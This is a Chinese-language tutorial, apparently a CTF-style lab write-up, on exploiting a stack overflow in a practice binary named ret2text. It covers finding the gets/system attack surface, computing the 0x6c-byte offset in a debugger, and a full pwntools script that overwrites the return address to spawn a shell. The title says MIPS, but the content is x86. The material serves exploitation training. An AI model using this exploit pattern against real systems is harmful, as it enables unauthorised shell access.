mips栈溢出
栈溢出的目的是从某一个没有检测的点,然后突破当前的内存大小,从而破坏栈的内存结构
达到栈溢出需要分为这几部分:
- 寻找危险函数,例:gets(),system(),getc(),fscanf()
- 计算从溢出点到ret的距离(程序最开始是由__libc_start_main库函数 call(调用) main,ret就是调用完main函数的下一条指令)
- 写exp,然后利用漏洞getshell
1、寻找攻击面
经过搜索,发现secure()函数调用了system,而且main函数还有一个gets()危险函数,并且它没有对参数s做任何检查,那么我们就可以利用gets达到栈溢出
2、调试
- 计算从eax(0xffffd4bc)到ebp(0xffffd528)相差的位数
0xffffd528- 0xffffd4bc = 0x6c
- 测试输入0x6c个'a'
- 可以看到,通过gets函数,已经从eax溢出到ebp,那么再多加0x4个‘a’就可以覆盖到 __libc_start_main(ret)
- 通过IDA找到覆盖ret的system函数地址
- 测试工作已经做完,开始写exp
from pwn import * #导入pwn以及sys
import sys
context.log_level="debug" #设置为调试模式
context.arch ="i386" #架构为i386(x86)
p = process("./ret2text") #控制ret2text进程,process是pwn库里面的
elf=ELF("./ret2text") #加载ret2text,以便于之后pwntools解析二进制
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so") #加载libc库,函数执行需要C库
padding = 'a'*0x6c #eax到ebp的距离
fake_ebp = 'a'*0x4 #ebp到ret的距离
retcode = 0x0804863A #system("/bin/sh")的位置,通过ida得到
payload = padding + fake_ebp + p32(retcode) #retcode需要通过p32()转化为32位
p.sendlineafter("do you know anything?\n",payload) #在gets()的上一行代码,提示输入字符串
p.interactive() #shell交互
- exp脚本getshell
- 通过ls、pwd命令已经可以看到getshell
PS:
1、在IDA里面按F5可以转为C语言代码,前提是当前程序里有符号表
2、CALL的功能一个是把下一条指令压栈,第二个是调用,如果调用了main,那么return也会被压栈
3、start_main(库)会call main函数,
4、IDA里面在Function name里面按ctrl+f就会出现搜索框